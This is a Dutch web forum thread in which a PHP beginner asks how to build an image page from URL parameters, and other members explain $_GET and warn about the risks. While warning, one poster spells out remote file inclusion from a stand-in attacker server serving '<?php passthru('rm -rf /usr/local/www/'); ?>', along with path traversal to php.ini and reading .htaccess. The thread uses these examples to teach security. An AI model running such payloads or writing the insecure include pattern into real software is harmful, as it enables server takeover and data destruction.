![]() |
PHP Vraagje
Sorry dat ik jullie lastigval, hoor, maar dit moet niet erg moeilijk zijn. Ik zie het alleen even niet... uche.
Stel, je hebt een site met verschillende 'thumbnails' van plaatjes, zoals deze. Klik je op een van deze thumbnails, dan wordt een pagina geladen zoals deze. In de URL staan nu 3 variabelen die de pagina (naast de grijze achtergrond e.d.) maken; de bestandsnaam van het plaatje, en de beschrijving en datum die onder het plaatje verschijnen. Mijn vraag is, concreet, hoe stel ik dit in werking. Kan iemand me de code hiervoor geven? Hoe kan ik een thumbnail doorlinken naar een pagina waar, afhankelijk van de URL, een plaatje met beschrijving tevoorschijn komt. Alvast bedankt voor de hulp, en sorry als dit niet duidelijk is. Ik heb de PHP 'skills' van een olifant. |
Ik raad je aan om eens op phpfreakz.nl te kijken in de script-library bij de fotoboeken / photoalbums. Probeer eerst eens zo`n script en bouw hem uit :)
|
Wat jij wilt is een PHP image handler.
Dit is geeneens zo heel makkelijk, best geavanceerd. Hier komt het op neer: Op je pagina van alle thumbnails heb je per plaatje zoiets: <a href="/image.php?id=203"><img src="/image.php?id=203&type=thumb" alt=""></a> Je hebt dan dus een image.php bestand nodig. Deze verdeel je in twee secties, ééntje voor de thumbnail en ééntje voor de gewone foto. Dit doe je door: PHP-code:
Code:
ID - Naam - Padnaam SELECT * FROM images WHERE id=101 Volgens mij doe je dan gewoon require($padnaam); en ben je klaar. Voor de thumbnail is het lastiger, dan moet je een kleiner plaatje maken van het origineel, real time of éénmalig doen wanneer je een plaatje upload. Echt niet beginnersstuff dit. |
Ik snap het half.
Eigenlijk verkeerde ik onder het idee dat het enige wat gedaan moest worden, dit was: Gegeven is de URL http://hunkabutta.com/picture_pages/...ate=05.30.2003 De pagina in kwestie (photoPage.php) hoeft nu slechts nog te weten waar de variabelen 'name', 'desc', en 'date' geplaatst moeten worden, in het document. De rest is standaard, HTML. Dus dat zou, in mijn ogen, betekenen dat ik slechts de positie en properties van $name, $desc, en $date hoef te bepalen, in de code van photoPage.php. Wat het probleem dan nog is, in ieder geval voor mij, is hoe ik photoPage.php duidelijk maak dat hij de waarden voor de variabelen $name enz. kan vinden in de URL. Ik heb heel weinig verstand van PHP zoals vast al wel duidelijk, dus ik zal er wel aardig naast zitten, maar enfin. Bedankt voor de reacties! |
alles achter het ? in de URL zet PHP om variabelen
vb: blaat.php?x=6&dd=5 je hebt nu twee variabelen: $_GET['x'] en $_GET['dd'], respectievelijk 6 en 5, simpel toch? |
Als je het zonder database backend wilt doen zul je de variabelen moeten meegeven met je URL. Dan wordt het dus:
<a href="/image.php?pad=/images/plaatje.jpg"><img src="/image.php?thumb=/images/plaatje.jpg" alt=""></a> Dit is echter extreem onveilig. Iemand kan de /image.php gebruiken om alle bestanden te lezen op je server, dus zou je b.v. filters moeten gebruiken om php bestanden te filteren, evenals externe adressen te filteren. Dan nog is het niet veilig naar mijn idee. Als je het goed wilt doen heb je een database erachter nodig. Ik raad je dan ook aan eerst meer ervaring op te doen met PHP voordat je zoiets als dit onderneemt. Heb je sowieso wel SQL ervaring?? |
EDIT:is hier nu net een post gedelete?
w8 ff, ik maak wel ff een script... http://deathz0rz.homeunix.net/blaat.php?x=6&dd=5 dit is de source PHP-code:
|
Citaat:
Dat iemand vervolgens alles kan lezen op mijn server, dat doet er niet zoveel toe; als ze het er maar niet af kunnen halen. Maar enfin, laat ik het praktischer aanpakken. http://jushi.blogspot.com Dit is waar ik mee probeer te werken. Het meeste erop is gewoon premade, niks speciaals. Je ziet dat ik reeds enkele thumbnails heb geplaatst op de site. Ik wil dat deze linken naar de volledige plaatjes op een aparte pagina, met achtergrond, en de variabelen name, description, en date. Wat moet ik doen. Als het maar werkt :) |
Citaat:
en heb je iets van jou gedelete? |
Citaat:
Bedankt voor je post/moeite, maar eerlijk gezegd zie ik niet hoe ik er dit 'systeempje' mee kan bouwen. Ga er maar niet vanuit dat ik dingen zelf bedenk, want dat kan ik simpelweg niet :D |
Citaat:
PHP-code:
(%20=spatie) en dan zou dit eruit komen: Code:
<html> |
Citaat:
|
Citaat:
|
Citaat:
|
Hartstikke bedankt, ik denk dat dit is wat ik zocht.
Dan, met minder noodzaak, kunnen we nu gaan babbelen over de onveiligheid hiervan. Wat, precies, kan er gebeuren? Er staat niets geheims op m'n server. |
Citaat:
het wordt anders als je PHP een file laat sturen van je HD, maar dat doe je hier niet |
Citaat:
script.php?name=deathaanmij&path=http://my1337s3rv0r/iklaatjoucrashen.jpg&date=blah http://gathering.tweakers.net/global/smileys/shutup.gif |
BTW, de code
PHP-code:
Sorry voor de vele vragen, hoor. Maargoed, kan niet alles weten. |
Citaat:
|
Citaat:
en tegen enlightenment: nuttig: <img src="http://my1337s3rv0r/iklaatjoucrashen.jpg"> dan kan ik net zo goed gewoon http://my1337s3rv0r/iklaatjoucrashen.jpg intypen... |
Citaat:
|
Citaat:
Het 1e voorbeeld wat ik gaf, is door de .htaccess file uit te lezen, daarin kan b.v. login informatie staan van beveiligde directories. Normaal laat Apache deze niet toe, maar als je het met PHP uitleest wel, een exploit dus. Het tweede kun je PHP laten crashen door hem willekeurige data te laten importen. Je kunt namelijk naar een externe server verwijzen, externe data require-en is een ernstige security vulnerability. Je zou zo de hele server eruit kunnen schoppen door per request 10MB aan geheugen op te snoepen. Maal 200 requests per seconde en zelfs een geile UNIX server weet Apache niet meer overeind te houden. Maar wat nog véél en véél erger is, is dit: in http://my1337s3rv0r/iklaatjoucrashen.jpg staat dan: <?php passthru('rm -rf /usr/local/www/'); ?> Om maar eens wat te noemen. De user heeft nu user-level access tot de PHP server. In windows is dit al een volledige compromise te noemen, in UNIX is het zaak om root level access te krijgen door op zoek te gaan naar vulnerabilities. Dit om maar even aan te geven hoe vreselijk onveilig dit is. ;) |
Citaat:
met php maak je alleen maar een URL hoor... SNAP JE HET EEN BTJE???? sorry hoor, maar ik vraag me echt af ***** |
Citaat:
Wist niet dat je boos werd. :) Als je de image opent met include($_GET['pad']); kun je dit dus bereiken. |
Citaat:
|
Nevertheless, met script.php op c:\
C:\script.php?name=Den%20Bosch%20Station&path=\jushi\fullscreen\06\020 603_2.jpg&date=02%20June Geeft: fout. |
Citaat:
Je kan het ook wel beveiligen met require en include, maar dan mag je niets over het hoofd zien. Simpele beveiliging: include('/www/docs/'.$_GET['pad']); Exploit: $_GET['pad'] == '../../usr/local/etc/php.ini'; Vertaalt zich naar: include('/usr/local/etc/php.ini'); Dus .. moet je er ook uithalen, etcetc. En dan hopen dat je nog niet iets over het hoofd hebt gezien. |
Citaat:
ik zie geen include... |
Citaat:
|
Citaat:
script.php?name=deathz0rz&path=/images/deathz0rz.jpg&date=blah En dan is script.php een php page vermomd als image/jpeg (of /gif) contenttype de raw image uitpoept. Hiermee kun je dan de thumbnail door php ook laten doen. Maar het kan simpeler door wat jij bedoelt, en in een <img .. > tag is ook redelijk veilig, omdat dan iig de client het bestand opvraagt en niet de server. Nadeel is dat je dan de thumbnail niet door php laat doen, deze moet je dan dus hardcoded in je thumbnail page zetten. |
Citaat:
maar idd, met dat soort dingen (die jij beschrijft) moet je oppassen... |
Citaat:
Heb notepad geopend, je code gekopieerd, opgeslagen als script.php op C:\ :confused: |
Citaat:
|
Citaat:
|
Citaat:
|
Citaat:
Lycos heb ik het persoonlijk niet zo op, maar geen zorgen, mijn webspace heeft php ondersteuning. |
Alle tijden zijn GMT +1. Het is nu 10:36. |
Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.